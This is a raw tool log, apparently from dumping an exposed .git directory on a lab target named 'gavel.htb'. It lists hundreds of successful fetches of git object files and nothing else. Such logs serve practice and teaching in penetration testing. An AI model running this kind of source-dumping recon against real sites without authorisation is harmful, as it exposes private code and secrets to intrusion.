[-] Fetching http://gavel.htb/.git/objects/04/ccd2ef8dabd4f4ad583e7544bfbd19c1e98d41 [200]
[-] Fetching http://gavel.htb/.git/objects/05/d0bdb7efb1649529459410b697665fe0aa47c2 [200]
[-] Fetching http://gavel.htb/.git/objects/06/563465c0e5b2f1e55ca4201c5d015f6b06db88 [200]
[-] Fetching http://gavel.htb/.git/objects/07/8f2a337006da56282d98647c612fe5a17d96e3 [200]
[-] Fetching http://gavel.htb/.git/objects/06/1773dba08d12a2349bbf8ff8f38280a2af0f80 [200]
[-] Fetching http://gavel.htb/.git/objects/06/ed8f69185a5aed6a3bfc6d4c5ff1e7379f80a9 [200]
[-] Fetching http://gavel.htb/.git/objects/06/725ff3644560bda37e332a08834d4d650f3513 [200]
[-] Fetching http://gavel.htb/.git/objects/06/f50a6d39319104b2a212f20a9eb8e5e68b9693 [200]
[-] Fetching http://gavel.htb/.git/objects/06/7420483aa27dcffac67b9467470017a8291467 [200]
[-] Fetching http://gavel.htb/.git/objects/06/230a42e3bd85066ee98da9337fed0a0909efdf [200]
[-] Fetching http://gavel.htb/.git/objects/07/20e206c71e04479f4703166a154ac17dcceee4 [200]
[-] Fetching http://gavel.htb/.git/objects/0f/31bc226a2222c4a3649ca00aa69526c44cce4b [200]
[-] Fetching http://gavel.htb/.git/objects/0f/217ae9df136403dec744bf6ddcd4fa1e2e7b87 [200]
[-] Fetching http://gavel.htb/.git/objects/0f/6625f8aaddc65d330d0ce93c60dca071368846 [200]
[-] Fetching http://gavel.htb/.git/objects/0f/c809d3c845d028cdc226b9478909be2a639736 [200]
[-] Fetching http://gavel.htb/.git/objects/0f/0a8ce01b16cc6dc824ae99b9dddf5967424c9a [200]
[-] Fetching http://gavel.htb/.git/objects/07/d1f1d6249d17fb3a6227262bb770d014e7676d [200]
[-] Fetching http://gavel.htb/.git/objects/0f/178c5e4e34915b81e61d699ade20808f18ed99 [200]
[-] Fetching http://gavel.htb/.git/objects/07/fa8094f3d26fbf499471311c2db4c6cd6ea1c4 [200]
[-] Fetching http://gavel.htb/.git/objects/07/26d4359a8f30eef0d0ca097a17994456343675 [200]
[-] Fetching http://gavel.htb/.git/objects/09/1a43dc106dd31ce3246e38acb646f6c75518a0 [200]
[-] Fetching http://gavel.htb/.git/objects/09/01cd1ee0b3fa09e1b7d7b7071ccbbed9d730d8 [200]
[-] Fetching http://gavel.htb/.git/objects/09/7f752c0485c5faafe718fe2a0f09b4cbccb263 [200]
[-] Fetching http://gavel.htb/.git/objects/09/58e652acb93cdbfe545b9cfc7d61e7b6ee95cb [200]
[-] Fetching http://gavel.htb/.git/objects/09/9ab0f743c6484d5f28b4f562e4b5c6bdf7cf5f [200]
[-] Fetching http://gavel.htb/.git/objects/09/a62f6d03687dbb732834a1cace0bf5afb54f6a [200]
[-] Fetching http://gavel.htb/.git/objects/09/65a93246a0be7e6a3d5bd126d919cc1d635377 [200]
[-] Fetching http://gavel.htb/.git/objects/0f/ffe996083a538b88df82be56e9eb2a58759cba [200]
[-] Fetching http://gavel.htb/.git/objects/09/c92655831ca5680809132756381225c0114093 [200]
[-] Fetching http://gavel.htb/.git/objects/09/e0310040d273de6c435a5f7215f54464832a8d [200]
[-] Fetching http://gavel.htb/.git/objects/09/f58653e354b642e4ab1f85982f580315138014 [200]
[-] Fetching http://gavel.htb/.git/objects/1a/3e27e6d4f90b1e79b6af1d3d31449f1d68054c [200]
[-] Fetching http://gavel.htb/.git/objects/1a/6be7bb69e8314870f05f738f9ed47ceafbbd11 [200]
[-] Fetching http://gavel.htb/.git/objects/1a/1ca1fc435a1af142a38d9d711ba7ceed10d7a8 [200]
[-] Fetching http://gavel.htb/.git/objects/1a/6f4c7ab2e371ebc12310e09cbb52877505e6dd [200]
[-] Fetching http://gavel.htb/.git/objects/1a/4d15c115894697cee6925f66d186753141a040 [200]
[-] Fetching http://gavel.htb/.git/objects/1a/0507c0c03651e0e678719edc1fa6532fdae21c [200]
[-] Fetching http://gavel.htb/.git/objects/1a/274e300195c847f65f598029e91922000e979a [200]
[-] Fetching http://gavel.htb/.git/objects/1a/cba38b1fe026dc230ab8d0923b7e349828375e [200]
[-] Fetching http://gavel.htb/.git/objects/1a/520edaa42b2bb456e25a052273659df604db31 [200]
[-] Fetching http://gavel.htb/.git/objects/08/5bc3a199877ee3fdbb275a73af8b209346adf4 [200]
[-] Fetching http://gavel.htb/.git/objects/1a/cf56b46fe0b5b308bfb0f6f7a34e227ed26b81 [200]
[-] Fetching http://gavel.htb/.git/objects/08/1ec6adbd120ff8b38aa1c0bb8a58d8f01748a9 [200]
[-] Fetching http://gavel.htb/.git/objects/08/6af97da4b6df69e8b2df567b310df58a5581da [200]
[-] Fetching http://gavel.htb/.git/objects/1a/d5d4f7cdc3d7755a50f6ff653cf61fdb5b7673 [200]
[-] Fetching http://gavel.htb/.git/objects/08/53901c48240b83b9e448670599eaf4ab055802 [200]
[-] Fetching http://gavel.htb/.git/objects/08/31010b3891a2be6277d4ca560764e97dd6e361 [200]
[-] Fetching http://gavel.htb/.git/objects/08/a32d88afd217de9f075c2d5ff8a90422781a09 [200]
[-] Fetching http://gavel.htb/.git/objects/08/bcd088dd5f50121a62126f3d688a3c6d3a747c [200]
[-] Fetching http://gavel.htb/.git/objects/08/e88b2881a7e5303af41b3b1982694d458c3b21 [200]
[-] Fetching http://gavel.htb/.git/objects/1c/0fe53af9166c9f3474a123523e74f4aeaaf4da [200]
[-] Fetching http://gavel.htb/.git/objects/1c/3cfc4a67fb962f0a5088286b1ed2afda356dff [200]
[-] Fetching http://gavel.htb/.git/objects/1c/7d08250789866e510fd0f5919a707dc48f9011 [200]
[-] Fetching http://gavel.htb/.git/objects/1c/32bd1642030fbfdf3a9974ac9b06bf60fca3ff [200]
[-] Fetching http://gavel.htb/.git/objects/1c/109dcc1b4b615b1da6eef91b6b855bacf2dec2 [200]
[-] Fetching http://gavel.htb/.git/objects/1c/5ebc0a2532f2c1513364664962e233373418a9 [200]
[-] Fetching http://gavel.htb/.git/objects/1c/7cdf124821b43a5f255c6de647c6fd5a4c121f [200]
[-] Fetching http://gavel.htb/.git/objects/1c/41550c88f24eddd495118af265f01e39c931f9 [200]
[-] Fetching http://gavel.htb/.git/objects/1c/aa312c991574046c9f459eacec17ed4117cb08 [200]
[-] Fetching http://gavel.htb/.git/objects/1c/cde6b6c5671b375885083ea58c4b9c73619c87 [200]
[-] Fetching http://gavel.htb/.git/objects/1f/3c705d06324de28026a0905c7577f94c777b70 [200]
[-] Fetching http://gavel.htb/.git/objects/1f/4244c92cba527d1a9471019c9e7f874571abc5 [200]
[-] Fetching http://gavel.htb/.git/objects/1f/b21f8c558756eb6f36792be3f1b0999bf56d68 [200]
[-] Fetching http://gavel.htb/.git/objects/1f/0dd8bbc8d0a0136b9721147f5ddfcf4655685b [200]
[-] Fetching http://gavel.htb/.git/objects/2c/53769e0916cf1416a558cea42299108dea3db7 [200]
[-] Fetching http://gavel.htb/.git/objects/1f/401452988e94f0e05a21f448f4fe72b63e6be1 [200]
[-] Fetching http://gavel.htb/.git/objects/2c/56fa4895c3ab8217789f7d6b0853139a02f024 [200]
[-] Fetching http://gavel.htb/.git/objects/2c/a87bc778f8a37e353d25d215636ca7ae9b0e6a [200]
[-] Fetching http://gavel.htb/.git/objects/2c/a404e96938d99868205d62ae95526850ed5b08 [200]
[-] Fetching http://gavel.htb/.git/objects/2c/f8078acae07a2364819160a87ec7a4f8244be4 [200]
[-] Fetching http://gavel.htb/.git/objects/1e/0a537d033dfb0617f58ebad8155e49fefedfd6 [200]
[-] Fetching http://gavel.htb/.git/objects/1e/00d09ce32eff0d4fa8130d0240b0e8e05b53d7 [200]
[-] Fetching http://gavel.htb/.git/objects/1e/6cbf16ce02cdc4961cf219c53911870d61be37 [200]
[-] Fetching http://gavel.htb/.git/objects/1e/6fe91384972433b10d43abe98928a0d607101a [200]
[-] Fetching http://gavel.htb/.git/objects/1e/8b9e84c201fd9ab9774a10c46611b95e1bb604 [200]
[-] Fetching http://gavel.htb/.git/objects/1e/9ed238a189f7ea0b685836d4fd5424d7cea33d [200]
[-] Fetching http://gavel.htb/.git/objects/1e/128c2ce197ef9938f07ce12b485c5fcab5e8b6 [200]
[-] Fetching http://gavel.htb/.git/objects/1e/b5576dcf71b3c7bad5438e977f21cf7c4cf955 [200]
[-] Fetching http://gavel.htb/.git/objects/1e/cad81ee1582bedd37182202d8f3250bf9407e8 [200]
[-] Fetching http://gavel.htb/.git/objects/1e/d1a85f9f6193e89ee0af5acf36d6612a2ede17 [200]
[-] Fetching http://gavel.htb/.git/objects/1e/f8702ebd26af11c3343e788c3dd89a2c2b832d [200]
[-] Fetching http://gavel.htb/.git/objects/1e/e2e10cec1674172b02b60a87ce203d6d25347e [200]
[-] Fetching http://gavel.htb/.git/objects/2b/6a591c38bacf18c4a4ecbf1c8c9e04820f2086 [200]
[-] Fetching http://gavel.htb/.git/objects/2b/6cfc2f8c9781742432743bc53fcef64d96a97f [200]
[-] Fetching http://gavel.htb/.git/objects/2b/9832992b59362b390e9502730e73c4f09bfae7 [200]
[-] Fetching http://gavel.htb/.git/objects/2b/c34a4323efd593529aa9b3a3a9d382c712e0ae [200]
[-] Fetching http://gavel.htb/.git/objects/2b/d167f52a35786a5a3e38a72c63005fffa14095 [200]
[-] Fetching http://gavel.htb/.git/objects/2d/0e2e9f364eb00a404539dcb467118c05e937c2 [200]
[-] Fetching http://gavel.htb/.git/objects/2b/fe33d14eda6cc047240d54a07b1e41982ef863 [200]
[-] Fetching http://gavel.htb/.git/objects/2d/5f74c5ab28af8a33aa02cfd97e3694440eafe3 [200]
[-] Fetching http://gavel.htb/.git/objects/2d/11aaee81dffeb2ce318323e0c0338513b46ab4 [200]
[-] Fetching http://gavel.htb/.git/objects/2d/8c2f86f43fa36a26e7ee8c5dc7b5a17be8035a [200]
[-] Fetching http://gavel.htb/.git/objects/2d/412cf06930b7e3af17892a70a38f4fdf2d9c46 [200]
[-] Fetching http://gavel.htb/.git/objects/2d/28cc90d655983cc0378af67d56bd590fd0f723 [200]
[-] Fetching http://gavel.htb/.git/objects/2d/2837278a7304e95347882e1c50d94c9255f9d5 [200]
[-] Fetching http://gavel.htb/.git/objects/2d/ce37c757096422fbdf8a6c1f48cc1385631a2f [200]
[-] Fetching http://gavel.htb/.git/objects/2d/e59d46e9e3d95c5176d7d6d84bd523482470db [200]
[-] Fetching http://gavel.htb/.git/objects/2d/fa7a78e4e636334470c564d9e399054850411a [200]
[-] Fetching http://gavel.htb/.git/objects/2e/00b735e1bbd4925f76467e47a8c5cc1528be0f [200]
[-] Fetching http://gavel.htb/.git/objects/2d/f4b2360313663f445aed3b33bcda8b7b859b5b [200]
[-] Fetching http://gavel.htb/.git/objects/2e/2ced26a957757fcae4cc4138af7208066f6911 [200]
[-] Fetching http://gavel.htb/.git/objects/2e/a14bf521f4018a15f0fc45aa278f1464df978e [200]
[-] Fetching http://gavel.htb/.git/objects/2e/ba6c4bb365a21f97fa8bcaadf4b703a62c0705 [200]
[-] Fetching http://gavel.htb/.git/objects/2e/af376a83cf5d84d97eecca4aa794bf449ff42c [200]
[-] Fetching http://gavel.htb/.git/objects/2e/bd6548d5bded8e069dca04b0b18b98fec36872 [200]
[-] Fetching http://gavel.htb/.git/objects/2e/c4a0d00df9fd4c0db735924d23486f84c3b8cb [200]
[-] Fetching http://gavel.htb/.git/objects/2e/c9f868f97f8fed3a0bd32e879fce54ec16d8ea [200]
[-] Fetching http://gavel.htb/.git/objects/2a/6eba05d17abb4e8c4e886ac0b19d498a65f8ca [200]
[-] Fetching http://gavel.htb/.git/objects/2a/8a6222a69a01c05fc8bcd322c627c692430b1d [200]
[-] Fetching http://gavel.htb/.git/objects/2a/41b9abd20e88821f8ec7a310305697031acc3a [200]
[-] Fetching http://gavel.htb/.git/objects/2a/b181308aaff4061ce6c0d8ed848c64d094e3b5 [200]
[-] Fetching http://gavel.htb/.git/objects/2a/419d15ed4d6ee1aaf4a0d3fd9f61dbe87fee84 [200]
[-] Fetching http://gavel.htb/.git/objects/2a/cf430982532046ea1143213039ee7adb2ba0c4 [200]
[-] Fetching http://gavel.htb/.git/objects/2a/cdaadf18300570247f0aab6a83b16d89e14078 [200]
[-] Fetching http://gavel.htb/.git/objects/2a/d3710c826fab50e58edddb52a49ac82cb16479 [200]
[-] Fetching http://gavel.htb/.git/objects/1d/1d9ed01587cd9e591809dfd4560f7e46600262 [200]
[-] Fetching http://gavel.htb/.git/objects/1d/4eaa04dcbce7760e2703b9dcd8265e51995a23 [200]
[-] Fetching http://gavel.htb/.git/objects/1d/b31b0f0032891fe03ae50cc6bc485477b5e877 [200]
[-] Fetching http://gavel.htb/.git/objects/1d/9f74667d94e97ef7c5d72fcac6f69830849d33 [200]
[-] Fetching http://gavel.htb/.git/objects/2f/03ae05d6fdfe53177a53933a5106387a5b0eb0 [200]
[-] Fetching http://gavel.htb/.git/objects/2f/7c442d79d78b3324ca8dbe063263ae8fb88de3 [200]
[-] Fetching http://gavel.htb/.git/objects/2f/38034ad21b533efa333ca2b9d3a4f3ea676524 [200]
[-] Fetching http://gavel.htb/.git/objects/2f/e9c4670b51c954da9216eec7ec03883c0550f0 [200]
[-] Fetching http://gavel.htb/.git/objects/3b/8cbf157f336dc17c5307be122da01676439be7 [200]
[-] Fetching http://gavel.htb/.git/objects/2f/f753aa0121c32763e6bdd058887b1998932590 [200]
[-] Fetching http://gavel.htb/.git/objects/3b/141c80b5a602b5a1de4c63a949979d592629a3 [200]
[-] Fetching http://gavel.htb/.git/objects/3b/b611529d0320709e8aec4d340a07d661629e30 [200]
[-] Fetching http://gavel.htb/.git/objects/3b/c5cde44bd5912a8d960167e2b4c646e5361cd5 [200]
[-] Fetching http://gavel.htb/.git/objects/3b/d81871fbf80b25d3a611be9069f25c21c0e8c2 [200]
[-] Fetching http://gavel.htb/.git/objects/3b/da24ee1e39972232eca858eb9f54bc15869d09 [200]
[-] Fetching http://gavel.htb/.git/objects/3c/5dad56d02ac4eddb18e248837cc6b6c9ba57cb [200]
[-] Fetching http://gavel.htb/.git/objects/3c/8d86d7442f038f34854d6e194a703b71d97adf [200]
[-] Fetching http://gavel.htb/.git/objects/3c/7a7328a44b7dd9437414142e7225b33598f107 [200]
[-] Fetching http://gavel.htb/.git/objects/3c/8472d6bda14a1979236b213e3a3014ea4791f5 [200]
[-] Fetching http://gavel.htb/.git/objects/3c/ee9e1ac1f13e81f06228a32eee23f917a1a04a [200]
[-] Fetching http://gavel.htb/.git/objects/3c/ef712361df4095e86d84d9481d7056f923f345 [200]
[-] Fetching http://gavel.htb/.git/objects/3c/f64721a5dac0981ec9b2236467ecb4e7ffca32 [200]
[-] Fetching http://gavel.htb/.git/objects/3a/4c069871a1606a21c688c21b9aa67c00689ed5 [200]
[-] Fetching http://gavel.htb/.git/objects/3a/0e47edb93dc3117c39751102597e6aaa4e819b [200]
[-] Fetching http://gavel.htb/.git/objects/3c/763899c30a77104786263144f7340d2d6e9f67 [200]
[-] Fetching http://gavel.htb/.git/objects/3a/5f287c459a74a32095df067ac8e2086958cd8d [200]
[-] Fetching http://gavel.htb/.git/objects/3c/573797b5bdb5e4a0eec8c0a75144ef8d2269bf [200]
[-] Fetching http://gavel.htb/.git/objects/3a/8c42757d241df2c0e7a7ea667d1a474be15c0c [200]
[-] Fetching http://gavel.htb/.git/objects/3a/9e8dd5d8ba04e6974675d6646209fa6ec3afda [200]
[-] Fetching http://gavel.htb/.git/objects/3a/9f83edf016cb490b3c70a7736b9c0a2d2c3294 [200]
[-] Fetching http://gavel.htb/.git/objects/3a/a4998e8e7344a70b1eff07a4c3803669a0efab [200]
[-] Fetching http://gavel.htb/.git/objects/3a/923011ec73de336b6d89f731b0a81dcc14c4a7 [200]
[-] Fetching http://gavel.htb/.git/objects/3a/331259baf2f043a4c88c472503f3c6746aa9f6 [200]
[-] Fetching http://gavel.htb/.git/objects/3a/9611e780f261606902d305964a5b98c3b44007 [200]
[-] Fetching http://gavel.htb/.git/objects/3a/cb80d016bff103d5dc39cd6ad7d24709625441 [200]
[-] Fetching http://gavel.htb/.git/objects/3a/aa0d70460b0c675c4bdd13fd3d82ace8db84c9 [200]
[-] Fetching http://gavel.htb/.git/objects/3a/ccbc4fd4f883187c672b8328a714e9e9001302 [200]
[-] Fetching http://gavel.htb/.git/objects/3a/f3c39d8c551ff77aec5b593fd08df3e7d09a2c [200]
[-] Fetching http://gavel.htb/.git/objects/3e/0cceafef73f63da68b14be2cd777f4f062e980 [200]
[-] Fetching http://gavel.htb/.git/objects/3e/017c4f4714ebcd5c492d6cc4bc4724ebf82c40 [200]
[-] Fetching http://gavel.htb/.git/objects/3e/98c64989e4d470714e4996333ed5824661d343 [200]
[-] Fetching http://gavel.htb/.git/objects/3e/305bbbd23d98beaeb249a70036d40c05ce154a [200]
[-] Fetching http://gavel.htb/.git/objects/3e/f27261d942d742979b68d8a7f19d59ddf0ee23 [200]
[-] Fetching http://gavel.htb/.git/objects/3e/b13381420dce01e33ac0c8608f521708ed8b6c [200]
[-] Fetching http://gavel.htb/.git/objects/3e/b9735cae1a5aa344c714de1972c5523e0c482c [200]
[-] Fetching http://gavel.htb/.git/objects/3f/0d22c4e364fa1a42e8c9c28e30fb1134959d29 [200]
[-] Fetching http://gavel.htb/.git/objects/3f/0e9aafda853c1d04cf674f8f02f7b8bd1ed2bf [200]
[-] Fetching http://gavel.htb/.git/objects/3f/39215a7db10dd320e59707788ad55210750425 [200]
[-] Fetching http://gavel.htb/.git/objects/3f/de5c7112900b306c90458c75a03f51560760b1 [200]
[-] Fetching http://gavel.htb/.git/objects/3d/052e62efb7a93f736e8db7afeb407c570e0ff0 [200]
[-] Fetching http://gavel.htb/.git/objects/3f/a26ec9b3ffab36e23dca6c644081b86ef3c5ed [200]
[-] Fetching http://gavel.htb/.git/objects/3d/6baaddd49b5b7921793375022814d0fa4a2f23 [200]
[-] Fetching http://gavel.htb/.git/objects/3d/4266e0d087794f655ecceb7a367859a1ac513a [200]
[-] Fetching http://gavel.htb/.git/objects/3d/707fa65e498cb2090f8d5617717c0c78575534 [200]
[-] Fetching http://gavel.htb/.git/objects/3d/659f67de904856ca4c262671e9c80c90b2cb12 [200]
[-] Fetching http://gavel.htb/.git/objects/3d/a4d4bfa127490c0ec6e5dd299fc325ecdc39cc [200]
[-] Fetching http://gavel.htb/.git/objects/3d/b10f686a71ef87b9fd568c10f3cffc9081167e [200]
[-] Fetching http://gavel.htb/.git/objects/3d/c8d9c0914ac02287f1829866755fd5b9701357 [200]
[-] Fetching http://gavel.htb/.git/objects/3d/c19d177167cdb91f110a4f44557161693fddf9 [200]
[-] Fetching http://gavel.htb/.git/objects/3d/c532a539791cfc5171751bc55c17a1c353367e [200]
[-] Fetching http://gavel.htb/.git/objects/3d/ed8b1bd056d7d07c3d30eafe379b00346f0011 [200]
[-] Fetching http://gavel.htb/.git/objects/1b/5c9648e0112fa6678f039ecbcf63d9ea314c50 [200]
[-] Fetching http://gavel.htb/.git/objects/1b/175db6dcec3663929f4f80beca49fccd3b84ad [200]
[-] Fetching http://gavel.htb/.git/objects/1b/1127fb08ca27d283240ba76a41e3ff288eda3f [200]
[-] Fetching http://gavel.htb/.git/objects/1b/952cca65de7f2ba13dfc3441e567f14b4cdb34 [200]
[-] Fetching http://gavel.htb/.git/objects/1b/3660f74818b77cbd5cd92ed1318cd5665f639f [200]
[-] Fetching http://gavel.htb/.git/objects/1b/a0bdfb08fc7d8ecb289629fc3ffca061e9e6d0 [200]
[-] Fetching http://gavel.htb/.git/objects/1b/b8851e4cf1b226314c2a7d6d52e7874944bb33 [200]
[-] Fetching http://gavel.htb/.git/objects/1b/76635e331fda0569d1954d8b3f81ac7c8c2a95 [200]
[-] Fetching http://gavel.htb/.git/objects/1b/b24b91e40356497f12d0fdcf3c019275b6b755 [200]
[-] Fetching http://gavel.htb/.git/objects/1b/bcb24733bae41e60a7fd085566ac1f63840f32 [200]
[-] Fetching http://gavel.htb/.git/objects/1b/d1a7bc8c4179d78baf6c99b81f79e9ee1518ac [200]
[-] Fetching http://gavel.htb/.git/objects/4a/0ed7de11fd7cc82aa94835eb4b8a21045c77f6 [200]
[-] Fetching http://gavel.htb/.git/objects/4a/47be247ebc7216e884542f0e372c8f0db8879d [200]
[-] Fetching http://gavel.htb/.git/objects/4a/752eeaf98fb22364373028c0326cd49c2f4e75 [200]
[-] Fetching http://gavel.htb/.git/objects/4a/096a895030d65fabb1c74589f2ff08a7660fed [200]
[-] Fetching http://gavel.htb/.git/objects/4a/a1fc20397a664eb071d3cb25e64561027e03f5 [200]
[-] Fetching http://gavel.htb/.git/objects/4b/42a2c912f5317e72b0593b401f215b1dc1868b [200]
[-] Fetching http://gavel.htb/.git/objects/4b/1f16363290f1258746f4f58f57c0b793be27af [200]
[-] Fetching http://gavel.htb/.git/objects/4a/aefae7e70bff39ef31db8faf1d4184f28e1121 [200]
[-] Fetching http://gavel.htb/.git/objects/4b/2f2e150ee7aebaea7fe47ddad71d3a9dc8499f [200]
[-] Fetching http://gavel.htb/.git/objects/4b/916a805cd765dd62598518bb256c33b5a8c140 [200]
[-] Fetching http://gavel.htb/.git/objects/4b/befc5122f7ff26280b9ec90c8fa3445b36320a [200]
[-] Fetching http://gavel.htb/.git/objects/4b/b81076eee984bff31fa7c32a6a1891b1757832 [200]
[-] Fetching http://gavel.htb/.git/objects/4b/c81f447b10d50e99b7dfef09717e6a0bb9caa2 [200]
[-] Fetching http://gavel.htb/.git/objects/4b/7760954c00a783ba38e18169e01ec524422c6d [200]
[-] Fetching http://gavel.htb/.git/objects/4c/7d415068d546f053b6ae4fdc8c1aec9cb9ae35 [200]
[-] Fetching http://gavel.htb/.git/objects/4b/c117a96ded11b5a573d236817ec9cafc6fdb18 [200]
[-] Fetching http://gavel.htb/.git/objects/4c/3017afd66512365c5e8d93889fada4c12475f2 [200]
[-] Fetching http://gavel.htb/.git/objects/4e/7d6fffc5fd4e2c7205e0a9ddbcabc55068de1c [200]
[-] Fetching http://gavel.htb/.git/objects/4e/48a46697302eb89d858229ec12ad23edd9b259 [200]
[-] Fetching http://gavel.htb/.git/objects/4d/036004e2d3a910b356cdb47f017b4dcaeb350d [200]
[-] Fetching http://gavel.htb/.git/objects/4d/5e72fd04c1a071e5b1520666b7c3818a7b0d9b [200]
[-] Fetching http://gavel.htb/.git/objects/4e/cd69d5f21c37c96fdd737fd22b9971485a8fcd [200]
[-] Fetching http://gavel.htb/.git/objects/4d/15d95e2c4b001c1feb9428cb153d28697e212a [200]
[-] Fetching http://gavel.htb/.git/objects/4d/33bacdb69f212abd17f2a67c0d2652bce04d11 [200]
[-] Fetching http://gavel.htb/.git/objects/4e/58095d692be9293bd034106323b88b0fe22950 [200]
[-] Fetching http://gavel.htb/.git/objects/4e/611eb1fcb529463b6ca0780a01af0944ab480e [200]
[-] Fetching http://gavel.htb/.git/objects/4d/91c5159f8972cf7088d7a75e3c70e23273d6ee [200]
[-] Fetching http://gavel.htb/.git/objects/4d/99d747d47d435a1c0e49850932273077a3da24 [200]
[-] Fetching http://gavel.htb/.git/objects/4d/3830c3244eebdd87df2a41e8eaf3233faa484a [200]
[-] Fetching http://gavel.htb/.git/objects/4d/4846f5045f60a99bf4368e2ea4025ab8654537 [200]
[-] Fetching http://gavel.htb/.git/objects/4d/f345f5431faf44860d6ba17a70523ed4d91b79 [200]
[-] Fetching http://gavel.htb/.git/objects/4d/fe89f318631dd9aaec8b2d7ce87fdfe37129af [200]
[-] Fetching http://gavel.htb/.git/objects/5b/c50650c00cb1ee11655839eb4f9f1ddfa88acd [200]
[-] Fetching http://gavel.htb/.git/objects/5a/70c5e64dc7e581e30432acd02fcfbba01e6ff2 [200]
[-] Fetching http://gavel.htb/.git/objects/5a/b3683dfc4e5de99db3c6f7f5d410f2cc60e2f2 [200]
[-] Fetching http://gavel.htb/.git/objects/5a/e9e782d7cb465ee813df4d75589c8932d432e5 [200]
[-] Fetching http://gavel.htb/.git/objects/4f/2bb0fbb6b2f11b9341f5b21750d93ec8361132 [200]
[-] Fetching http://gavel.htb/.git/objects/4f/00eebe2cf5df55312d071d7322ef163d40d4f7 [200]
[-] Fetching http://gavel.htb/.git/objects/4f/ad91d6768335040513cfb120daa1a9b33e1221 [200]
[-] Fetching http://gavel.htb/.git/objects/4f/bc443e628d4c9ca993da827ad2a42835baa661 [200]
[-] Fetching http://gavel.htb/.git/objects/4f/c615eac8b62c8b71e5cb9f1f957c938cffd659 [200]
[-] Fetching http://gavel.htb/.git/objects/4f/d4403b8548b9b7d1b9f40e8b6a8098ceb9f3c5 [200]
[-] Fetching http://gavel.htb/.git/objects/4f/ef0f32d0dc7cf26a59cce31db624e8aa2a388c [200]
[-] Fetching http://gavel.htb/.git/objects/4f/ff3fb8639635283608247a2061b533ff8ba84f [200]
[-] Fetching http://gavel.htb/.git/objects/5c/0690f067cd52590434e320e6531e63f1563a20 [200]
[-] Fetching http://gavel.htb/.git/objects/5c/4f7d204a908c03c3d276335c8fdcbf9d90fedf [200]
[-] Fetching http://gavel.htb/.git/objects/5c/270a6e3d7b48363548159ca071900540a4480d [200]
[-] Fetching http://gavel.htb/.git/objects/5c/7b748e7938694beaf85c15112ee75ec864d0f5 [200]
[-] Fetching http://gavel.htb/.git/objects/5c/985c4a64ed75be12ce590609a50c3b0d47539f [200]
[-] Fetching http://gavel.htb/.git/objects/5c/b4b296954d6b7cf7561104775ea5cda0e96ab9 [200]
[-] Fetching http://gavel.htb/.git/objects/5c/b95b7bbea3e9582c121c3e0a9fff76acf1487b [200]
[-] Fetching http://gavel.htb/.git/objects/5e/022f043bb3416b8fe6e42c03215da77291cde1 [200]
[-] Fetching http://gavel.htb/.git/objects/5e/1f82a1e5746c5b7366ead83f60dd490d6dad80 [200]
[-] Fetching http://gavel.htb/.git/objects/5e/20b9ff7c2e238247796b34474eda2e4781258a [200]
[-] Fetching http://gavel.htb/.git/objects/5e/421f74116e311d98223ea619feb07599dc903c [200]
[-] Fetching http://gavel.htb/.git/objects/5e/50ea5b1a59c441106ff8f5e460fd54b1dca355 [200]
[-] Fetching http://gavel.htb/.git/objects/5e/973bda3e051121e3a4fbdcc55b1926fb509048 [200]
[-] Fetching http://gavel.htb/.git/objects/5e/8746ae74b0527e609ef2edaf64e89a88fa4268 [200]
[-] Fetching http://gavel.htb/.git/objects/5e/454764290f46ef72b2a996437647f2e1245b6d [200]
[-] Fetching http://gavel.htb/.git/objects/5e/ae6c021657cb578e6781b2ff8335f451170a9d [200]
[-] Fetching http://gavel.htb/.git/objects/5e/b8a5515412053d335ca360aa51f0722616b80f [200]
[-] Fetching http://gavel.htb/.git/objects/5e/da650f4346d7ae5349c866df71c3166e411993 [200]
[-] Fetching http://gavel.htb/.git/objects/5e/c4e6d375826feea35caea19511d7d9ffb2a713 [200]
[-] Fetching http://gavel.htb/.git/objects/5d/39d1eeb61b468fba996e583613bc2be7e9a7ab [200]
[-] Fetching http://gavel.htb/.git/objects/5e/edec94b849af31ad832e66fce70309e8df864e [200]
[-] Fetching http://gavel.htb/.git/objects/5d/0ab262f15f96241db42e70fcace6fa6914a720 [200]
[-] Fetching http://gavel.htb/.git/objects/5d/a13df56dcb47226cdb85b40cc06b44aa46345a [200]
[-] Fetching http://gavel.htb/.git/objects/5d/c7df5ebb63d610044f189078830af1766e1de6 [200]
[-] Fetching http://gavel.htb/.git/objects/6a/2b9d4b86c4bca45f9701ae3946a6e78647aafb [200]
[-] Fetching http://gavel.htb/.git/objects/6a/3a72272f99ecc3cdcb43c713161be754cccdae [200]
[-] Fetching http://gavel.htb/.git/objects/6a/5a51a2d96d22d27bc6b144c62ecf39e802063b [200]
[-] Fetching http://gavel.htb/.git/objects/6a/53472b04905704e82d115e2af17f43f7dfb2ca [200]
[-] Fetching http://gavel.htb/.git/objects/6a/e7074ce9471f3eb61f092e618fffda5e6f40b1 [200]
[-] Fetching http://gavel.htb/.git/objects/6a/6648377278eccfca7155b0cf06118519202e0c [200]
[-] Fetching http://gavel.htb/.git/objects/6a/ef70c6dcb7624d2f209735ff6e6f926ac1a153 [200]
[-] Fetching http://gavel.htb/.git/objects/6a/f2b31b0e1ceb04475a9098bc5e8ac57e71f5ba [200]
[-] Fetching http://gavel.htb/.git/objects/5f/1d845f88dd3c9c3e86f189892701229f5d6278 [200]
[-] Fetching http://gavel.htb/.git/objects/5f/4de62fd95552512e87afb3e28a5df26538dfa7 [200]
[-] Fetching http://gavel.htb/.git/objects/5f/68aba6fdcb56310e0d8853618b0f1edf9387d0 [200]
[-] Fetching http://gavel.htb/.git/objects/5f/624ca8cd7fb46552f79d1c6685c972f738b5c9 [200]
[-] Fetching http://gavel.htb/.git/objects/5f/96578c4b0e3c5e9d0461a6a28162388afbec16 [200]
[-] Fetching http://gavel.htb/.git/objects/5f/c418cd6fc84f905283597a1bd868f5266d15b0 [200]
[-] Fetching http://gavel.htb/.git/objects/5f/c6316711347b62b18721ac7f42f167f97530e8 [200]
[-] Fetching http://gavel.htb/.git/objects/5f/d77a4eb0d692a657e5a0ef8040fc7e65a9e70e [200]
[-] Fetching http://gavel.htb/.git/objects/6b/3aa62dd619bad73540ede3459a4db91d31c7a6 [200]
[-] Fetching http://gavel.htb/.git/objects/6b/213f85eacb4596116f9b5a5df09709c333db06 [200]
[-] Fetching http://gavel.htb/.git/objects/6b/376a2580c8821ceceb09fc4ee1f274130510f8 [200]
[-] Fetching http://gavel.htb/.git/objects/6b/886d5185e2b8ddd19b150130b7a2496ab01020 [200]
[-] Fetching http://gavel.htb/.git/objects/6b/c2f35be40c5f3d63a1e1e9075997da4d9c65fd [200]
